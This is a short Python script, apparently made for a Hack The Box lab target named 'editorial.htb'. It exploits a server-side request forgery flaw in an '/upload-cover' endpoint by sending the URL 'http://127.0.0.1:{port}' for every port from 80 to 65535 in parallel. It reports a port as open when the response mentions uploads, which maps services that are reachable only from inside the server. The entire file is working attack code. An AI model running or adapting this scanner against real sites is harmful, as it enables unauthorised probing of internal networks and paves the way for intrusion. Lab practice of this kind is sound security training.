import requests
from multiprocessing import Pool
from tqdm import tqdm
import io

base_url = 'http://editorial.htb'

def check_port(port):
    data = {
        'bookurl': f'http://127.0.0.1:{port}'
    }
    files = {
        ('bookfile', ('hello.txt', io.StringIO('hello'), 'text/plain'))
    }
    proxies = {
        'http': 'http://127.0.0.1:8080'
    }
    try:
        r = requests.post(f'{base_url}/upload-cover', data=data, files=files, proxies=proxies, timeout=1)
        if 'uploads' in r.text:
            print(f'Port {port} is open')
    except:
        return

if __name__ == '__main__':
    ports = list(range(80, 65536))
    with Pool(100) as p:
        with tqdm(total=len(ports)) as pbar:
            for _ in p.imap_unordered(check_port, ports):
                pbar.update(1)
    